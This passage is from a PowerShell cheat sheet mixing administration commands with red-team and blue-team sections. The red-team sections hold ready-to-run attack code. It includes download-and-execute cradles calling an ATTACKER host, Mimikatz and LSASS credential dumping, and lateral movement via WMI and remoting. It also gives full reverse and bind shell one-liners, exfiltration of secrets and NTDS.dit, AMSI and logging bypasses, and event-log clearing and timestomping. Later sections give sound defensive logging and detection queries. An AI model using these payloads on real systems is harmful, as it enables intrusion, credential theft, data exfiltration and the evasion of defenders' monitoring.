Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" "RunAsPPL"

# Credential storage
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" "LmCompatibilityLevel"

13. User & Group Management

# ==========================================
# LOCAL USERS
# ==========================================

Get-LocalUser                              # All local users
Get-LocalUser -Name "Administrator"        # Specific user
New-LocalUser -Name "backdoor" -Password (ConvertTo-SecureString "P@ss123!" -AsPlainText -Force) -PasswordNeverExpires $true -AccountNeverExpires
Enable-LocalUser -Name "Administrator"     # Enable built-in admin!
Disable-LocalUser -Name "Guest"
Remove-LocalUser -Name "backdoor"
Set-LocalUser -Name "user" -PasswordNeverExpires $true

# ==========================================
# LOCAL GROUPS
# ==========================================

Get-LocalGroup                             # All local groups
Get-LocalGroupMember "Administrators"      # Members of Admins group
Add-LocalGroupMember -Group "Administrators" -Member "backdoor"
Remove-LocalGroupMember -Group "Administrators" -Member "backdoor"
New-LocalGroup -Name "MyGroup"

# ==========================================
# ACTIVE DIRECTORY USERS (requires RSAT or AD module)
# ==========================================

Import-Module ActiveDirectory

Get-ADUser -Filter *                        # All domain users
Get-ADUser -Identity jsmith                 # Specific user
Get-ADUser -Identity jsmith -Properties *  # All properties
Get-ADUser -Filter { Enabled -eq $true }   # Active users
Get-ADUser -Filter { PasswordNeverExpires -eq $true }  # Pw never expires
Get-ADUser -Filter * -Properties PasswordLastSet, LastLogonDate | Where-Object { $_.LastLogonDate -lt (Get-Date).AddDays(-90) }  # Inactive 90 days

New-ADUser -Name "svc-backdoor" `
    -SamAccountName "svc-backdoor" `
    -AccountPassword (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) `
    -Enabled $true `
    -PasswordNeverExpires $true

Set-ADAccountPassword -Identity jsmith `
    -NewPassword (ConvertTo-SecureString "NewP@ss!" -AsPlainText -Force) `
    -Reset

Enable-ADAccount -Identity jsmith
Disable-ADAccount -Identity jsmith
Unlock-ADAccount -Identity jsmith

# ==========================================
# ACTIVE DIRECTORY GROUPS
# ==========================================

Get-ADGroup -Filter *                       # All groups
Get-ADGroup "Domain Admins"
Get-ADGroupMember "Domain Admins"           # Members
Get-ADGroupMember "Domain Admins" -Recursive  # Nested members too!

Add-ADGroupMember -Identity "Domain Admins" -Members jsmith
Remove-ADGroupMember -Identity "Domain Admins" -Members jsmith -Confirm:$false

# Find all groups a user belongs to
Get-ADUser jsmith -Properties MemberOf | Select -ExpandProperty MemberOf
(Get-ADUser jsmith -Properties MemberOf).MemberOf

# ==========================================
# CREDENTIALS
# ==========================================

# Store credentials securely
$cred = Get-Credential                     # Prompts GUI
$cred = Get-Credential -UserName "corp\admin" -Message "Enter password"

# Build credential object programmatically
$pass = ConvertTo-SecureString "P@ssword" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("corp\admin", $pass)

# Use credentials
Enter-PSSession -ComputerName DC01 -Credential $cred
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { whoami }

14. WMI & CIM

# ==========================================
# WMI vs CIM
# ==========================================

# WMI  → Old (Get-WmiObject) — DCOM protocol (port 135 + ephemeral)
# CIM  → New (Get-CimInstance) — WSMan/WinRM — PREFERRED

# ==========================================
# CIM (MODERN — USE THIS)
# ==========================================

Get-CimInstance -ClassName Win32_OperatingSystem    # OS info
Get-CimInstance -ClassName Win32_ComputerSystem     # Computer info
Get-CimInstance -ClassName Win32_BIOS               # BIOS info
Get-CimInstance -ClassName Win32_Processor          # CPU info
Get-CimInstance -ClassName Win32_PhysicalMemory     # RAM info
Get-CimInstance -ClassName Win32_LogicalDisk        # Disk info
Get-CimInstance -ClassName Win32_NetworkAdapter     # Network adapters
Get-CimInstance -ClassName Win32_Service            # Services
Get-CimInstance -ClassName Win32_Process            # Processes
Get-CimInstance -ClassName Win32_UserAccount        # Local users
Get-CimInstance -ClassName Win32_Product            # Installed software
Get-CimInstance -ClassName Win32_Share              # Network shares
Get-CimInstance -ClassName Win32_StartupCommand     # Autorun items
Get-CimInstance -ClassName Win32_LocalTime          # System time

# Remote CIM query
Get-CimInstance -ClassName Win32_Process -ComputerName DC01
$session = New-CimSession -ComputerName DC01 -Credential $cred
Get-CimInstance -ClassName Win32_Process -CimSession $session

# Filter WMI queries (server-side filtering = faster!)
Get-CimInstance -Query "SELECT * FROM Win32_Process WHERE Name = 'powershell.exe'"
Get-CimInstance -ClassName Win32_Process -Filter "Name = 'powershell.exe'"

# Invoke CIM method
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
    -Arguments @{ CommandLine = "calc.exe" }

# ==========================================
# WMI (LEGACY — still useful)
# ==========================================

Get-WmiObject -Class Win32_OperatingSystem
Get-WmiObject -Class Win32_Process | Where-Object Name -eq "chrome.exe"
Get-WmiObject -Class Win32_Product                  # Installed software (SLOW!)
Invoke-WmiMethod -Class Win32_Process -Name Create `
    -ArgumentList "calc.exe"

# Remote WMI
Get-WmiObject -Class Win32_Process -ComputerName DC01 -Credential $cred

# ==========================================
# USEFUL CIM QUERIES (RED TEAM)
# ==========================================

# AV products installed
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

# Firewall status
Get-CimInstance -ClassName MSFT_MpComputerStatus -Namespace root/Microsoft/Windows/Defender

# Installed software (patch status)
Get-CimInstance -ClassName Win32_QuickFixEngineering  # Installed patches

# Scheduled tasks
Get-CimInstance -ClassName MSFT_ScheduledTask -Namespace Root/Microsoft/Windows/TaskScheduler

# PowerShell execution via WMI (lateral movement!)
Invoke-WmiMethod -Class Win32_Process -Name Create `
    -ArgumentList "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" `
    -ComputerName TARGET `
    -Credential $cred

15. Remoting (WinRM)

# ==========================================
# SETUP WINRM
# ==========================================

# Enable WinRM (run as admin on target)
Enable-PSRemoting -Force
winrm quickconfig

# Check WinRM status
Get-Service WinRM
Test-WSMan DC01                        # Test if WinRM accessible on host

# ==========================================
# INTERACTIVE SESSION
# ==========================================

Enter-PSSession -ComputerName DC01
Enter-PSSession -ComputerName DC01 -Credential $cred
Enter-PSSession -ComputerName DC01 -Port 5986 -UseSSL  # HTTPS

# Exit session
Exit-PSSession

# ==========================================
# INVOKE-COMMAND (non-interactive, faster)
# ==========================================

# Single command
Invoke-Command -ComputerName DC01 -ScriptBlock { Get-Process }
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { whoami }

# Multiple computers (parallel!)
Invoke-Command -ComputerName DC01, DC02, FS01 -ScriptBlock { hostname }

# Run script file
Invoke-Command -ComputerName DC01 -FilePath C:\Scripts\Enum.ps1

# Pass variables INTO remote session
$localVar = "hello"
Invoke-Command -ComputerName DC01 -ScriptBlock {
    param($v) Write-Host $v
} -ArgumentList $localVar

# Using $using: (PS3+, cleaner syntax)
$localVar = "hello"
Invoke-Command -ComputerName DC01 -ScriptBlock { Write-Host $using:localVar }

# ==========================================
# PERSISTENT SESSIONS
# ==========================================

$session = New-PSSession -ComputerName DC01 -Credential $cred
Invoke-Command -Session $session -ScriptBlock { Get-Process }
Invoke-Command -Session $session -ScriptBlock { $x = 1 }  # Persistent state!
Invoke-Command -Session $session -ScriptBlock { $x }       # → 1
Remove-PSSession $session

# ==========================================
# FILE TRANSFER VIA REMOTING
# ==========================================

# Copy TO remote
$session = New-PSSession -ComputerName TARGET
Copy-Item -Path C:\Temp\tool.exe -Destination C:\Temp\ -ToSession $session

# Copy FROM remote
Copy-Item -Path C:\Temp\loot.txt -Destination C:\Local\ -FromSession $session

# ==========================================
# INVOKE-COMMAND ONE-LINERS (RED TEAM)
# ==========================================

# Execute on all domain computers!
$computers = (Get-ADComputer -Filter *).Name
Invoke-Command -ComputerName $computers -ScriptBlock { whoami } -ErrorAction SilentlyContinue

# Load tool in memory on remote host
Invoke-Command -ComputerName DC01 -ScriptBlock {
    IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PowerView.ps1")
    Get-DomainAdmin
}

# Hop between systems (double-hop with CredSSP)
Invoke-Command -ComputerName JUMP01 -ScriptBlock {
    Invoke-Command -ComputerName DC01 -ScriptBlock { hostname }
} -Authentication CredSSP -Credential $cred

16. Modules & Imports

# ==========================================
# MODULE MANAGEMENT
# ==========================================

Get-Module                               # Currently loaded modules
Get-Module -ListAvailable               # All available modules
Get-Module -ListAvailable | Sort-Object Name

Import-Module ActiveDirectory            # Load module
Import-Module ActiveDirectory -Force     # Force reload

Remove-Module ActiveDirectory            # Unload module

# Find commands in module
Get-Command -Module PowerSploit          # All commands in module

# ==========================================
# INSTALLING MODULES (PS Gallery)
# ==========================================

Find-Module PowerSploit                  # Find module
Install-Module PowerShellGet -Force      # Install
Update-Module ActiveDirectory            # Update
Uninstall-Module PowerSploit             # Remove

# Set trust level
Set-PSRepository -Name PSGallery -InstallationPolicy Trusted

# ==========================================
# DOT SOURCING (load into current scope)
# ==========================================

. .\PowerView.ps1                        # Load PowerView into current session
. C:\Tools\SharpHound.ps1               # All functions now available!

# ==========================================
# KEY OFFENSIVE MODULES (RED TEAM)
# ==========================================

# PowerView (AD Enumeration)
Import-Module .\PowerView.ps1
# OR:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# PowerSploit (Collection of offensive PS tools)
Import-Module PowerSploit

# Nishang (PS offensive framework)
Import-Module Nishang

# PowerUpSQL (MSSQL attacks)
Import-Module PowerUpSQL

# ADModule (MS signed AD module — bypasses many AV)
Import-Module C:\Tools\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\Tools\ActiveDirectory\ActiveDirectory.psd1

# Invoke-Mimikatz
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# PowerMad (machine account / DNS attacks)
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount "EVIL_PC" -Password (ConvertTo-SecureString "Pass123" -AsPlainText -Force)

# ==========================================
# CREATE YOUR OWN MODULE
# ==========================================

# Save functions in MyModule.psm1:
function Get-Pwned {
    param([string]$Target)
    Write-Host "Pwning $Target..."
}

# Create manifest:
New-ModuleManifest -Path .\MyModule.psd1 -RootModule MyModule.psm1

# Import:
Import-Module .\MyModule.psd1
Get-Pwned -Target "DC01"

17. Red Team PowerShell

# ==========================================
# IN-MEMORY EXECUTION (NO DISK TOUCH)
# ==========================================

# Download + execute string
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')

# Aliases (for obfuscation)
(New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1') | IEX
iex(iwr 'http://ATTACKER/script.ps1' -UseBasicParsing)
&([scriptblock]::Create((New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')))

# Load .NET assembly in memory
$bytes = (New-Object Net.WebClient).DownloadData('http://ATTACKER/tool.exe')
$asm = [System.Reflection.Assembly]::Load($bytes)
$asm.EntryPoint.Invoke($null, @(,[string[]]@("arg1","arg2")))

# ==========================================
# ENUMERATION (PowerView)
# ==========================================

# Domain info
Get-Domain
Get-DomainController
Get-DomainController -Domain corp.local

# Users
Get-DomainUser
Get-DomainUser -Identity jsmith -Properties *
Get-DomainUser -SPN                          # Kerberoastable users!
Get-DomainUser -PreauthNotRequired           # AS-REP Roastable users!
Get-DomainUser -AdminCount 1                 # Protected accounts (DA etc)
Get-DomainUser -TrustedToAuth               # Constrained delegation!
Find-DomainUserField -SearchField description -SearchTerm "password"  # Passwords in descriptions!

# Groups
Get-DomainGroup
Get-DomainGroupMember "Domain Admins" -Recurse
Get-DomainGroupMember "Enterprise Admins"

# Computers
Get-DomainComputer
Get-DomainComputer -OperatingSystem "*Server*"
Get-DomainComputer -Unconstrained           # Unconstrained delegation machines!
Get-DomainComputer -TrustedToAuth           # Constrained delegation!

# GPO
Get-DomainGPO
Get-DomainGPOLocalGroup                     # GPOs granting local admin
Find-GPOComputerAdmin -ComputerName TARGET  # Who is local admin via GPO?

# ACL
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs     # Find interesting ACLs (juicy rights!)

# OU structure
Get-DomainOU
Get-DomainOU | ForEach-Object { Get-DomainComputer -SearchBase $_.distinguishedname }

# Shares
Find-DomainShare -CheckShareAccess          # Find accessible shares
Find-InterestingFile -Include "*.txt","*.xml","*.ini","*.ps1" -Path \\DC01\SYSVOL

# Sessions (who is logged where)
Get-NetLoggedon -ComputerName DC01          # Who is logged on to DC
Get-NetSession -ComputerName FS01           # Sessions on file server
Find-DomainUserLocation -UserName Administrator  # Where is admin logged in!

# Trust
Get-DomainTrust                             # Domain trusts
Get-ForestTrust                             # Forest trusts

# ==========================================
# CREDENTIAL HARVESTING
# ==========================================

# Mimikatz (requires admin/SYSTEM)
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Invoke-Mimikatz -Command '"lsadump::sam"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
Invoke-Mimikatz -DumpCreds                  # Dump all creds

# LSASS dump (no Mimikatz)
$proc = Get-Process lsass
$handle = [Runtime.InteropServices.Marshal]::GetHINSTANCE([System.Reflection.Assembly]::GetExecutingAssembly().GetModules())
# Use comsvcs.dll:
rundll32.exe C:\windows\System32\comsvcs.dll MiniDump $proc.Id C:\Temp\lsass.dmp full

# Credential files
$env:APPDATA + "\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"  # PS history!
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
ls C:\Users\ -Force -Recurse | Where-Object { $_.Name -match "password|cred|secret" }

# ==========================================
# LATERAL MOVEMENT
# ==========================================

# WMI exec
Invoke-WmiMethod -Class Win32_Process -Name Create `
    -ArgumentList "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" `
    -ComputerName TARGET

# PS Remoting
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock {
    IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
}

# Scheduled task (Invoke-Command style)
Invoke-Command -ComputerName TARGET -ScriptBlock {
    schtasks /create /tn "Update" /tr "powershell.exe -c IEX(iwr 'http://ATTACKER/s.ps1')" /sc once /st 00:00 /f
    schtasks /run /tn "Update"
}

# ==========================================
# PRIVILEGE ESCALATION (PowerUp)
# ==========================================

Import-Module PowerUp.ps1
Invoke-AllChecks                            # Run all priv esc checks
Get-UnquotedService                         # Unquoted service path
Get-ModifiableServiceFile                   # Writable service binary
Get-ServiceUnquoted                         # Unquoted paths
Invoke-ServiceAbuse -Name "VulnService" -UserName "corp\jsmith"  # Exploit!
Get-RegistryAlwaysInstallElevated           # AlwaysInstallElevated
Write-UserAddMSI                            # Create MSI that adds user as admin
Invoke-EventVwrBypass -Command "net localgroup administrators jsmith /add"  # UAC bypass

# ==========================================
# REVERSE SHELLS (Nishang)
# ==========================================

# TCP reverse shell (Nishang)
Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER -Port 4444

# One-liner bind shell:
$listener = [Net.Sockets.TcpListener]4444; $listener.Start();
$client = $listener.AcceptTcpClient(); $stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
    $data = (New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sb = (iex $data 2>&1 | Out-String);
    $sb2 = $sb + "PS> ";
    $sendbyte = ([Text.Encoding]::ASCII.GetBytes($sb2));
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

# One-liner reverse shell:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
    $data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()};
$client.Close()

# ==========================================
# DATA EXFILTRATION
# ==========================================

# HTTP exfil
$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Content C:\secrets.txt)))
Invoke-WebRequest -Uri "http://ATTACKER/exfil?d=$data" -Method GET

# DNS exfil
$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("secret"))
Resolve-DnsName "$data.attacker.com" -Type A

# SMB exfil
Copy-Item C:\Users\Admin\NTDS.dit \\ATTACKER\share\

18. AMSI Bypass

# ==========================================
# WHAT IS AMSI?
# ==========================================

# AMSI = Antimalware Scan Interface
# Hooks into PowerShell, WSH, VBA, .NET
# Every script block sent to AV engine before execution
# → Detects Mimikatz, PowerView, PowerSploit, etc. in memory!

# ==========================================
# AMSI BYPASS METHODS
# ==========================================

# Method 1: Patching amsi.dll (most common)
# Patches AmsiScanBuffer to always return clean
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Method 2: Matt Graeber's one-liner (classic — often sig'd now)
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext",[Reflection.BindingFlags]32).GetValue($null),0x41414141)

# Method 3: String concatenation to evade sig (obfuscate the bypass itself!)
$a = 'System.Management.Automation.A';$b = 'msiUtils'
$c = [Ref].Assembly.GetType($a+$b)
$d = $c.GetField('amsiInitFailed','NonPublic,Static')
$d.SetValue($null,$true)

# Method 4: Forcing error
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)

# Method 5: PowerShell downgrade (PS 2.0 has no AMSI!)
powershell.exe -Version 2 -Command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')"
# Check if v2 available:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

# Method 6: Obfuscation (Invoke-Obfuscation)
Import-Module Invoke-Obfuscation.ps1
Invoke-Obfuscation

# ==========================================
# SCRIPT BLOCK LOGGING BYPASS
# ==========================================

# Disable Script Block Logging via registry (requires admin)
Remove-Item HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force -ErrorAction SilentlyContinue

# Force minimal logging in session
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null)
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", 0)

19. Defense Evasion

# ==========================================
# OPSEC BASICS
# ==========================================

# Disable PS history (always do this first!)
Set-PSReadLineOption -HistorySaveStyle SaveNothing
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue

# Use -WindowStyle Hidden for processes
Start-Process powershell.exe -WindowStyle Hidden -ArgumentList "-c IEX(...)"

# Avoid Write-Host (goes to console and logs)
# Use Write-Verbose or just suppress output

# ==========================================
# OBFUSCATION BASICS
# ==========================================

# Case variation (PS is case-insensitive)
gEt-pRoCeSs

# Backtick insertion (breaks string matching)
G`et-Pr`ocess
Invoke`-Expression

# String concatenation
$cmd = "Get" + "-" + "Process"; Invoke-Expression $cmd

# Base64 encoding
$cmd = "Get-Process"
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell.exe -EncodedCommand $enc

# Alternate cmdlet forms
gps                  # Get-Process
gsv                  # Get-Service
iex                  # Invoke-Expression
iwr                  # Invoke-WebRequest

# .NET directly (avoids cmdlet logging)
[System.Diagnostics.Process]::GetProcesses()
[System.Net.WebClient]::new().DownloadString("http://ATTACKER/s.ps1")

# ==========================================
# LIVING OFF THE LAND
# ==========================================

# Use built-in Windows tools (no downloads needed!)
# WMI for execution
# Scheduled tasks for persistence
# certutil.exe for download + decode:
certutil.exe -urlcache -f http://ATTACKER/file.b64 file.b64
certutil.exe -decode file.b64 file.exe

# bitsadmin for download
bitsadmin /transfer job /download /priority normal http://ATTACKER/tool.exe C:\Temp\tool.exe

# regsvr32 for execution
regsvr32 /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll

# mshta for execution
mshta.exe http://ATTACKER/payload.hta

# ==========================================
# COVER YOUR TRACKS
# ==========================================

# Clear event logs
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

# Clear PS history
Clear-History
Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force

# Timestomp files
$file = Get-Item "C:\Temp\tool.exe"
$file.CreationTime     = "2023-01-01 08:00:00"
$file.LastWriteTime    = "2023-01-01 08:00:00"
$file.LastAccessTime   = "2023-01-01 08:00:00"

# Remove ADS (Alternate Data Streams — unblock downloaded files)
Get-Item "C:\Temp\tool.exe" -Stream * | Remove-Item

# Secure delete (overwrite then delete)
$file = "C:\Temp\sensitive.txt"
$bytes = [System.IO.File]::ReadAllBytes($file)
for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = 0x00 }
[System.IO.File]::WriteAllBytes($file, $bytes)
Remove-Item $file -Force

20. Logging & Detection

# ==========================================
# POWERSHELL LOGGING TYPES
# ==========================================

# 1. Script Block Logging → logs EVERY script block executed
#    Event ID 4104 (Microsoft-Windows-PowerShell/Operational)
#    → Captures deobfuscated code (most important!)

# 2. Module Logging → logs all module activity
#    Event IDs 4103

# 3. Transcription → saves full console I/O to text file
#    Great for audit trails

# 4. Protected Event Logging → encrypts log content (PS7+)

# ==========================================
# ENABLE LOGGING (Blue Team)
# ==========================================

# Via GPO (preferred):
# Computer Config → Admin Templates → Windows Components → PowerShell:
#   Turn on Script Block Logging → Enabled
#   Turn on Module Logging → Enabled (with *)
#   Turn on PowerShell Transcription → Enabled

# Via Registry:
$logPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell"

# Script Block Logging
New-Item "$logPath\ScriptBlockLogging" -Force
Set-ItemProperty "$logPath\ScriptBlockLogging" "EnableScriptBlockLogging" 1
Set-ItemProperty "$logPath\ScriptBlockLogging" "EnableScriptBlockInvocationLogging" 1

# Module Logging
New-Item "$logPath\ModuleLogging" -Force
Set-ItemProperty "$logPath\ModuleLogging" "EnableModuleLogging" 1

# Transcription
New-Item "$logPath\Transcription" -Force
Set-ItemProperty "$logPath\Transcription" "EnableTranscripting" 1
Set-ItemProperty "$logPath\Transcription" "OutputDirectory" "C:\PSLogs\"

# ==========================================
# READING POWERSHELL LOGS
# ==========================================

# Get all Script Block logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
    Where-Object Id -eq 4104 |
    Select-Object TimeCreated, Message

# Search for suspicious keywords in logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
    Where-Object { $_.Id -eq 4104 -and $_.Message -match "IEX|Invoke-Expression|DownloadString|bypass|mimikatz" }

# Get all PS history across all users
Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force |
    ForEach-Object { Write-Host "=== $($_.FullName) ==="; Get-Content $_ }

# ==========================================
# EVENT LOG QUERIES (Security Events)
# ==========================================

# Failed logons
Get-WinEvent -LogName Security | Where-Object Id -eq 4625 | Select -First 20

# Successful logons
Get-WinEvent -LogName Security | Where-Object Id -eq 4624

# New user created
Get-WinEvent -LogName Security | Where-Object Id -eq 4720

# User added to group
Get-WinEvent -LogName Security | Where-Object Id -eq 4728

# Kerberoasting indicator
Get-WinEvent -LogName Security | Where-Object {
    $_.Id -eq 4769 -and $_.Message -match "Ticket Encryption Type.*0x17"
} | Select TimeCreated, Message

# DCSync (replication from non-DC)
Get-WinEvent -LogName Security | Where-Object {
    $_.Id -eq 4662 -and $_.Message -match "1131f6a"
} | Select TimeCreated, Message

# New service installed
Get-WinEvent -LogName System | Where-Object Id -eq 7045

# Scheduled task created
Get-WinEvent -LogName Security | Where-Object Id -eq 4698

21. Blue Team PowerShell

# ==========================================
# SYSTEM AUDIT COMMANDS
# ==========================================

# Find all listening ports + owning process
Get-NetTCPConnection -State Listen |
    Select LocalPort, @{N="PID";E={$_.OwningProcess}},
           @{N="Process";E={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name}} |
    Sort LocalPort

# Find all running services with non-standard paths
Get-WmiObject Win32_Service |
    Where-Object { $_.State -eq "Running" -and $_.PathName -notmatch "system32|SysWOW64|Program Files" } |
    Select Name, PathName, StartName

# Find recently modified files
Get-ChildItem C:\Windows -Recurse -ErrorAction SilentlyContinue |
    Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) } |
    Select FullName, LastWriteTime

# Find world-writable directories
Get-ChildItem C:\ -Recurse -Directory -ErrorAction SilentlyContinue |
    ForEach-Object {
        $acl = Get-Acl $_.FullName -ErrorAction SilentlyContinue
        if ($acl.Access | Where-Object { $_.IdentityReference -match "Everyone|Users" -and $_.FileSystemRights -match "Write" }) {
            $_.FullName
        }
    }

# WMI persistence check
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer

# Autoruns check (registry run keys)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" -ErrorAction SilentlyContinue | Where-Object Debugger

# Scheduled tasks audit
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } |
    Select TaskName, TaskPath,
           @{N="Action";E={$_.Actions.Execute}},
           @{N="RunAs";E={$_.Principal.UserId}} |
    Where-Object { $_.Action -notmatch "system32|SysWOW64|MpCmdRun" }

# Find accounts with password never expires
Get-LocalUser | Where-Object PasswordNeverExpires | Select Name, Enabled, LastLogon
Get-ADUser -Filter { PasswordNeverExpires -eq $true } -Properties PasswordNeverExpires |
    Select Name, SamAccountName, Enabled

# Find accounts that haven't logged in for 90 days (stale/backdoor accounts)
Get-ADUser -Filter { Enabled -eq $true } -Properties LastLogonDate |
    Where-Object { $_.LastLogonDate -lt (Get-Date).AddDays(-90) -or $_.LastLogonDate -eq $null } |
    Select Name, SamAccountName, LastLogonDate

# ==========================================
# ACTIVE DIRECTORY HEALTH CHECKS
# ==========================================

# Check DA group members (who shouldn't be there?)
Get-ADGroupMember "Domain Admins" -Recursive | Select Name, SamAccountName, ObjectClass

# Check SID History on all users (should be empty post-migration)
Get-ADUser -Filter * -Properties SIDHistory |
    Where-Object { $_.SIDHistory -ne $null -and $_.SIDHistory.Count -gt 0 } |
    Select Name, SamAccountName, SIDHistory

# Check shadow credentials (msDS-KeyCredentialLink)
Get-ADUser -Filter * -Properties "msDS-KeyCredentialLink" |
    Where-Object { $_."msDS-KeyCredentialLink" } |
    Select Name, SamAccountName

Get-ADComputer -Filter * -Properties "msDS-KeyCredentialLink" |
    Where-Object { $_."msDS-KeyCredentialLink" } |
    Select Name

# Check accounts with DCSync rights
$domainDN = (Get-ADDomain).DistinguishedName
(Get-ACL "AD:\$domainDN").Access |
    Where-Object {
        $_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or
        $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
    } |
    Select IdentityReference, ActiveDirectoryRights, ObjectType

# Check AdminSDHolder ACL for unexpected entries
(Get-ACL "AD:\CN=AdminSDHolder,CN=System,$domainDN").Access |
    Where-Object {
        $_.IdentityReference -notmatch "Enterprise Admins|Domain Admins|SYSTEM|Administrators"
    } |
    Select IdentityReference, ActiveDirectoryRights

# Check DSRM backdoor registry key
Invoke-Command -ComputerName (Get-ADDomainController -Filter *).Name -ScriptBlock {
    Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DsrmAdminLogonBehavior -ErrorAction SilentlyContinue
}

# Check unconstrained delegation (attack vector!)
Get-ADComputer -Filter { TrustedForDelegation -eq $true } -Properties TrustedForDelegation |
    Select Name, DNSHostName
Get-ADUser -Filter { TrustedForDelegation -eq $true } -Properties TrustedForDelegation |
    Select Name, SamAccountName

# Check Kerberoastable accounts (SPN set on user accounts)
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName |
    Select Name, SamAccountName, ServicePrincipalName

# Check AS-REP Roastable accounts (pre-auth not required)
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth |
    Select Name, SamAccountName

# Check password policy (is it strong enough?)
Get-ADDefaultDomainPasswordPolicy
